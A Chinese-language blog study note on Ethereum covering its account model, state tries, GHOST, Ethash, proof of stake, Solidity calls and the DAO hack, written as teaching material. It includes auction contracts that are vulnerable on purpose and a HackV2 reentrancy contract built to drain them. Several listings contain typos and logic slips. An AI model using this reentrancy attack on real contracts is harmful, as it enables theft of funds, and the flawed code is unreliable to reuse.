Eth学习

2022/04/14

ETH 学习

以太坊也是一种链,它实现了去中心化的合约,使得应用场景更多。相比于比特币,它的设计更加工程化,偏向于实际应用。

账户

160 位二进制组成,简单记作 40 个 16 进制数。

  • 账户模型更符合现实中交易的逻辑。
  • 可以天然性的抗双花问题。
  • 用nonce改变对抗replay attack(收款方恶意攻击)

两类账户:

  • externally owned account:公私钥生成
    • balance:余额
    • nonce:交易计数器
  • smart contract account:智能合约账户,无法发起交易
    • balance
    • nonce
    • code:发布时确认,无法修改
    • storage

状态树

状态树需要保存的就是所有账户的状态,包括但不仅仅包括余额。在整个eth链上,理论上可以存在 2^160 个账户,这是一个很庞大的量,需要解决这些账户的增加、查找、更新等操作,就需要寻找一种更好的数据结构。最终的选择是:Modified Merkle Patricia State Trie。

由于需要实现防篡改性,还是要基于默克尔树进行设计。像是 BTC 里的默克尔树就并不适用,这是因为:

  • btc 的默克尔树保存的是交易记录,每一个区块生成一个全新的默克尔树,该树产生后就不再需要更改。而账户的状态是经常会有变动的(每次交易都意味着账户的状态变动)。所以普通默克尔树成本太高了。
  • btc 的默克尔树不支持快速的查询,查询性能为O(n),但由于存放的是交易数据,每个区块内都不会超过4000个,所以可以忍受。而 eth 的账户太多了,查询性能 O(n) 是无法忍受的

这里就需要一种新的结构,检索树。检索树是一种多叉树,类似于字典的索引,对于eth的账户场景来说,它可以是高度为 160 的二叉树,也可以是高度为 40 的十六叉树,但无论哪种方式,它的查找效率都大大提高。但它的效率还是不够高,它的存储空间也是个问题。

针对上述问题,可以用 Pactricia Trie 的方式解决。这是一种数据压缩技术,它可以根据多个数据相同的部分进行压缩(例如数据中间都有abcdefg,那么一个节点就存储abcdefg,它的高度立刻减少了7,但是数据不会丢失)。这个方案需要一个前提,就是数据足够分散,数据越分散,压缩的效果越好。例如有10个160位的二进制数,使用Trie,必定高度为160,但使用了 Pactricia Trie,哪怕 10 个数很相似但又不一致,它的高度最高也只会是10。而eth的账户系统确实很分散。设计上,理论有2^160个账户,但现实中完完全全用不到这么多账户(一亿亿个账户也才2^56,这意味着全球70亿人民一人14285714个账户),账户这么设计更多的是为了防止hash碰撞。

有了上述的说明,就可以推导出 Modified Merkle Patricia State Trie。一种变形的使用hash指针的Pactricia Tria。详细的理解可以参考:Modified Merkle Patricia Trie — How Ethereum saves a state

MPT 中有三种节点:

  • branch node
  • extension node
  • leaf node

0b6f44c71d935ed034c8ed9cca4a54cf.png

数据结构

// Header represents a block header in the Ethereum blockchain.
type Header struct {
	ParentHash  common.Hash    `json:"parentHash"       gencodec:"required"`  // 父块header的hash
	UncleHash   common.Hash    `json:"sha3Uncles"       gencodec:"required"`  // ghost协议下的uncle节点的hash
	Coinbase    common.Address `json:"miner"`  // 铸币地址
	Root        common.Hash    `json:"stateRoot"        gencodec:"required"`  // 状态树根hash
	TxHash      common.Hash    `json:"transactionsRoot" gencodec:"required"`  //交易树根hash
	ReceiptHash common.Hash    `json:"receiptsRoot"     gencodec:"required"`  //收据树根hash
	Bloom       Bloom          `json:"logsBloom"        gencodec:"required"`  // 布隆过滤器
	Difficulty  *big.Int       `json:"difficulty"       gencodec:"required"`  // 挖矿难度
	Number      *big.Int       `json:"number"           gencodec:"required"`
	GasLimit    uint64         `json:"gasLimit"         gencodec:"required"`
	GasUsed     uint64         `json:"gasUsed"          gencodec:"required"`
	Time        uint64         `json:"timestamp"        gencodec:"required"`
	Extra       []byte         `json:"extraData"        gencodec:"required"`
	MixDigest   common.Hash    `json:"mixHash"`
	Nonce       BlockNonce     `json:"nonce"`  // 求解值

	// BaseFee was added by EIP-1559 and is ignored in legacy headers.
	BaseFee *big.Int `json:"baseFeePerGas" rlp:"optional"`

	/*
		TODO (MariusVanDerWijden) Add this field once needed
		// Random was added during the merge and contains the BeaconState randomness
		Random common.Hash `json:"random" rlp:"optional"`
	*/
}

// Block represents an entire block in the Ethereum blockchain.
type Block struct {
	header       *Header  // 上面的结构
	uncles       []*Header  // ghost 协议下的 叔叔节点们
	transactions Transactions  // 交易信息

	// caches
	hash atomic.Value
	size atomic.Value

	// Td is used by package core to store the total difficulty
	// of the chain up to and including the block.
	td *big.Int

	// These fields are used by package eth to track
	// inter-peer block relay.
	ReceivedAt   time.Time
	ReceivedFrom interface{}
}

交易树和收据树

这两个树同样是 MPT 结构。通过 bloom filter 可以在收据树上实现快速查询某笔交易的情况。具体的实现逻辑,需要代码支撑,这里会另开篇章进行详细描述。

GHOST 协议

最初版本

4fe4c5bdb9bd757c0391194691216d27.png

  • 最新的区块所在的链变为最长链,其他链上的区块就成为了 uncle block
  • uncle block 在被最长链上的 block 包含后会获得 7/8 挖矿奖励
  • 最新的区块可以在 block 里包含最多两个 uncle block,每一个 uncle block 会使最新块获得 1/32 的挖矿奖励

但这会带来两个问题:

  • 最长链(最新区块)可以故意不包含 uncle block,从链的角度来看是损人不利己,各有损失,从商业角度来看是另一回事
  • 同一高度下,不一定只有两个 uncle block,也许会有更多的出现,但在这个方案中只能丢弃

优化版本

  • 对于最新的区块,它可以包含向上溯源七代的高度产生的 uncle block
  • uncle block 根据高度的推移会越来越不值钱,分别从 7/8 推到 2/8 的收益

80cca30152bc3bea83d2ccaaeb3e2e48.png

挖矿算法

比特币的挖矿算法是比较简单的,常用hash运算,这导致 ASIC 的泛滥。一台 ASIC 的算力相当于上千台通用计算设备。但这在去中心化的设计中是不好的,所以后续的加密货币的挖矿算法都需要考虑 ASIC resistance 甚至 GPU resistance。

一种常用的方案为 memory hard mining puzzle。ASIC 的计算性能够强,但因为设计上的原因,弱内存通道,这意味着挖矿算法可以用内存需求来抵抗 ASIC。莱特币和以太坊都用了这个设计。

但是在实现 ASIC resistance 前,必须遵循 difficult to slove,easy to verify。同时链内会有全节点或轻节点(为了实际的应用,轻节点是必不可少的),单纯的通过内存加强运算对于轻节点来说是个很大的问题。

莱特币使用 128 kb 的内存空间存储挖矿需要的中间数据,虽然解决了轻节点对内存的消耗问题,但在本质上无法实现 ASIC resistance,内存需求还是太小了。

以太坊在设计初期,使用了两种数据,16MB cache 和 1GB dataset(DAG),随着时间的推移,这两种数据同样会增长。对于轻节点来说,只需要存储 16MB cache,在需要验证的时候可以运算出来(运算成本其实不低,但可以忍受);对于全节点来说,需要实现挖矿的不断尝试,必须存储 1GB dataset(假设只存储 16MB cache,那么中间的运算过程会庞大很多)。即便如此,也没有彻底的抹去 ASIC 挖掘 eth,还是有矿机出现,想要彻底解决这个问题,还是要从共识机制上进行更改,即从工作量证明改到权益证明。

eth 实现的方案是 ethash,这个具体方案另开一文进行详细描述。

难度调整

64193020a1cb897558bc03fb62606dbd.png

37a5eb1e4adb0e295c8d2fca9cb76be2.png

4a89247e1c1f721482a50ed1b361f5f6.png

c674b086f74cbca8233ae5c3ab053845.png

权益证明

在区块链系统中,挖矿是一个很重要的概念,但这只是一个类比。链内所有全节点都可以通过尝试各种解获得打包权(记账权),这就像是挖矿,很难挖,挖到了那就发财。这会打来很大的资源浪费。而权益证明在某种程度上就可以解决这个问题,直接没有挖矿这回事了。可以称之为 virtual mining。

权益证明是一种区块链网络达成共识的共识机制

这将要求用户抵押他们的以太币从而成为网络中合法的验证者。 验证者有着与矿工在 工作量证明(pow)中相同的职责:将交易排序和创建新的区块,以便让所有的节点就网路状态达成一致。

这种共识可以带来一些好处:

  • 提高能效——您不需要大量能源去挖掘区块
  • 门槛降低,硬件要求减少——您不需要优秀的硬件从而获得建立新区块的机会
  • 更强的去中心化——权益证明可以在网络中提供更多的节点。
  • 更有力地支持分片链,这是以太坊网络扩展的关键升级

这种模式没有 PoW 那么直观,在实现上也更加复杂,所以截至今日,以太坊还没有上 PoS。这里面会增加很多新的概念,用来解决一些问题;同时异常情况可能会变得更多(参考真实世界的资本变动)。

权益证明是一种用于激励验证者接受更多质押的基本机制。 就以太币而言,用户需要质押 32ETH 来获得作为验证者的资格。 验证者被随机选择去创建区块,并且负责检查和确认那些不是由他们创造的区块。 一个用户的权益也被用于激励良好的验证者行为的一种方式。 例如,用户可能会因为离线(验证失败)而损失一部分权益, 或因故意勾结而损失他们的全部权益。

扩展:

  • 分片链
  • 信标链

智能合约

智能合约只是一个运行在以太坊链上的一个程序。 它是位于以太坊区块链上一个特定地址的一系列代码(函数)和数据(状态)。

智能合约也是一个账户,拥有余额、交易记录器、代码和存储。但智能合约账户无法发起交易,交易的实体还得是普通账户。

智能合约无序准入性,任何人都可以编写并发布。通常使用 Solidity 进行代码的编写从而实现功能。

创建和运行:

  • 智能合约的代码完成后,要编译成 bytecode
  • 创建合约:外部账户发起一个转账交易到0x0的地址
    • 转账的金额为0,但是要支付 gas fee
    • 合约的代码放在 data 域内
  • 智能合约运行在 EVM 上
  • 以太坊是一个交易驱动的状态机,而不是记账本
    • 调用智能合约的交易发布到链上后,每个矿工都需要执行这个交易,从当前状态确定性的转移到下一个状态

错误处理:

  • 智能合约中不存在自定义的 try-catch 结构
  • 一旦遇到异常,除特殊情况外,本次执行操作全部回滚
  • 可以抛出错误的语句
    • assert(bool condition):如果条件不满足就抛出-用于内部错误
    • require(bool condition) :如果条件不满足就抛出-用于输入或者外部组件引起的错误
    • revert():终止运行并回滚状态变动

合约调用:

  • 普通账户发起交易:类似于转账交易,三种调用方式都行,但如果接收方是智能合约那就不是简单的交易,而是根据data域的方法进行调用,如果“该域没有数据”或者“指定的方法不存在”,默认执行 fallback 函数(这里会隐含很多安全问题,需要深思熟虑)。
  • 合约内调用
    • 直接声明对象调用:一旦被调用合约出现错误,全部回滚
    • addr.call 调用:addr 指的是被调用合约地址,被调用合约出现错误,只是返回false,合约本身不会直接回滚
    • addr.delegate 调用:使用方法和 call 类似,只是上下文环境不切换到被调用合约内,只取用代码

嵌套调用:

  • 智能合约的执行是原子性的:执行过程中出现错误,会导致回滚
  • 嵌套调用是指一个合约调用另一个合约中的函数
  • 嵌套调用是否会触发连锁式的回滚?得看调用方式
  • 一个合约直接向另一个合约账户里转账,没有指明调用哪个函数,仍然会引起嵌套调用

fallback 函数:

function() public [payable]{
...
}

解释:

fallback 函数,匿名函数,没有参数没有返回值
在两种情况下被调用
  - 直接向一个合约地址转账而没有任何data
  - 被调用的函数不存在
如果转账金额不为零,那么同样需要声明 payable,否则抛出异常

智能合约可以获得的内部信息:

  • block.blockhash(uint blockNumber) returns (bytes32):给定区块的哈希一仅对最近的 256 个区块有效而不包括当前区块
  • block.coinbase(address):挖出当前区块的矿工地址
  • block.difficulty(uint):当前区块难度
  • block.gaslimit(uint):当前区块 gas 限额
  • block.number(uint):当前区块号
  • block.timestamp(uint):自 unix epoch 起始当前区块以秒计的时间戳
  • msg.data(bytes):完整的 calldata
  • msg.gas(uint):剩余gas
  • msg.sender(address):消息发送者(当前调用)
  • msg.sig(bytes4):calldata 的前4 字节(也就是函数标识符)
  • msg.valve(uint):随消息发送的 wei 的数量
  • now(uint):目前区块时间戳 (等同于block. timestamp)
  • tx.gasprice(uint):交易的 gas 价格
  • tx.origin(address):交易发起者(完全的调用链)

地址类型:

  • <address>.balance(uint256):以 Wei 为单位的address的余额
  • <address>.transfer(uint256 amount):向address发送amount的Wei,失败时抛出异常,发送2300 gas fee,不可调节
  • <address>.send(uint256 amount) returns (bool):向address发送amount的Wei,失败时返回 false,发送2300 gas fee,不可调节
  • <address>.call(…) returns (bool):发出底层 call,失败时返回 false,发送所有可用 gas,不可调节
  • <address>.callcode(…) returns (bool):发出底层 callcode,失败时返回 false,发送所有可用 gas,不可调节
  • <address>.delegatecall(…) returns (bool):发出底层 delegatecall,失败时返回 false,发送所有可用 gas,不可调节

简单拍卖

pragma solidity ^0.4.21;

contract SimpleAuctionV1 {
    address public beneficiary;  // 拍卖受益人
    uint public auctionEnd;  // 结束时间
    address public highestBidder;  // 当前最高出价人
    mapping(address => uint) bids;  // 所有竞拍者的出价
    address[] bidders;  // 所有竞拍者
    bool ended;  // 拍卖结束后设置为true
    
    // 需要记录的事
    event HighestBidderIncreased(address bidder, uint amount)
    event AuctionEnded(address winner,uint amount)

    // 构造函数(初始化)
    constructor(uint _biddingTime, address _beneficiary) public {
    beneficiary = _beneficiary
    auctionEnd = now + _biddingTime}

    function bid() public payable {
        // 拍卖尚未结束
        require(now <= auctionEnd);
        // 当前出价和之前出价之和大于最高出价者
        require(bids[msg.sender]+msg.value > bids[highestBidder]);

        // 如果是第一次出价
        if(!(bids[msg.sender] == uint(0))) {
            bidders.push(msg.sender);
        }
        // 本次出价为最高,修改数据
        highestBidder = msg.sender;
        bids[msg.sender] += msg.value;
        emit HighestBidIncreased(msg.sender, bids[msg.sender]);
    }

    function actionEnd() public {
        // 拍卖已截止
        require(now > auctionEnd);
        // 该程序未被完整运行过
        require(!ended);
    
        bebeficiary.transfer(bids[highestBidder]);
        for (uint i=0; i < bidders.length; i++){
            address bidder = bidders[i]
            if (bidder == highestBidder) continue;
            bidder.transfer(bids[bidder]);
        }
    
        ended = true;
        emit AuctionEnded(highestBidder, bids[highestBidder]);
    }
}

上述实现是有问题的,很容易被攻击。在拍卖结束后需要把抵押池内的eth返回给外部账户,但因为是 transfer 交易,那么会出现异常,然后全部回滚,抵押池内的资产永远都拿不到了。一个常见的情况就是,一个合约地址也参与了拍卖,在拍卖结束后 transfer 回这个合约地址,实际上会去调用 合约的fallback,如果合约的fallback没有设计,就会抛出异常。

// 投标者自己提出取钱
function withdraw() public returns (bool) {
    require(now > auctionEnd);
    require(msg.sender != highestBidder);
    require(bids[msg.sender] > 0);

    uint amount = bids[msg.sender];
    if (msg.sender.call.value(amount)()) {
        bids[msg.sender] = 0;
        return true;
    }
    return false;
}

function pay2Beneficiary() public returns (bool) {
    require(now > auctionEnd);
    require(bids[highestBidder] > 0);

    uint amount = bids[highestBidder];
    bids[highestBidder] = 0;
    emit pay2Beneficiary(highestBidder, bids[highestBidder]);

    if (!beneficiary.call.value(amount)()) {
        bids[highestBidder] = amount;
        return false;
    }
    return true;
}

这个更新版本依然有bug,因为投标者自己取出钱在合约内使用的是 call.value 的方法,正常情况下没有问题,但如果对方是合约账户,这里依旧是会调用 fallback 函数,而 fallback 中可以继续调用 withdraw 这个方法。同时因为 call.value 会把所有 gas 都给出去,这就给了攻击者可乘之机。同时因为这里的状态变化在转账完成后才可以变化也埋下了隐患,应该是:状态改变–>实际变化–>失败后状态恢复,成功后退出。

pragma solidity ^0.4.21;

contract HackV2 {
    uint stack = 0;
    function hack_bid(address addr) payable public {
        SimpleAuctionV2 sa = SimpleAuctionV2(addr);
        sa.bid.value(msg.value)();
    }

    function hack_withdraw(address addr) public payable {
        SimpleAuctionV2(addr).withdraw();
    }

    function() public payable{
        stack += 2;
        // 在另一个合约有余额、gas fee 足够且堆栈小于 500 的情况下持续攻击
        if (msg.sender.balance >= msg.value && msg.gas > 6000 && stack < 500)
            SimpleAuctionV2(msg.sender).withdraw();
        }
}

The DAO

Deccentralized Autonomous Organization。指的是去中心化的自治组织,与之相对的还有 DAC,即 Deccentralized Autonomous Corporation。

其中很著名的就是 theDAO,一个智能合约用来众筹投资,但只运行了三个月。如果投资过程中,投资者想要拿回自己的钱(投资和收益),那么需要执行 splitDAO,从而生成一个子基金,拆分前有七天的审核期,拆分后有二十八天的锁定期。

但是因为 splitDAO 的代码有 bug,导致黑客进行了重入攻击,获得了价值 5000 万美元的以太币。但是因为锁定期,所以黑客还没法卷钱跑路。此时社区内分成两派:需要采用补救措施,不需采用补救措施。

从彻底的去中心化的不可篡改的分布式账本来看,不应该采用补救措施。但考虑到 too big too fail,必须要采用补救措施。

一开始选择使用软分叉的方法,要求所有矿工不再进行 theDAO 智能合约相关的账户进行的交易,但这时考虑到这个交易不是失败,而是拒绝执行,所以没有收取 gas fee,这导致了大量的恶意攻击,诚实矿工受不了了,选择回退版本,这个解决方案没有成功。

后面决定使用硬分叉的方案,在执行前做了个投票,大部分投票同意。执行方案就是强制把 theDAO 的资金转移到一个新的合约上,该合约只负责退钱,此时转账无需签名,直接在 1920000 个区块的时候强制执行。这个方案解决了这次黑客攻击,但在社区内带来了不可弥合的分裂。从此硬分叉后的链称之为 ETH,而原先的链没有消失,成为了 ETC(Etereum Classic)。这里又带来了一个问题,两条链上除了强制转账外,所有的代码都是一样的,为了避免 replay attack,增加了 chainID 进行区分。

反思

  • 智能合约并不智能,只是一段死板的代码
  • 不可篡改性是把双刃剑
  • 没有什么绝对无法修改
  • solidity未来的模版化
  • 去中心化不是不去管理的全自动化,以太坊团队可以提出建议,实际上决定权还是分散的,去中心的
  • 分叉是一种民主体现
  • 去中心化和分布式不是等价,去中心化一定是分布式的,但分布式的并不是去中心化的

Search

    Table of Contents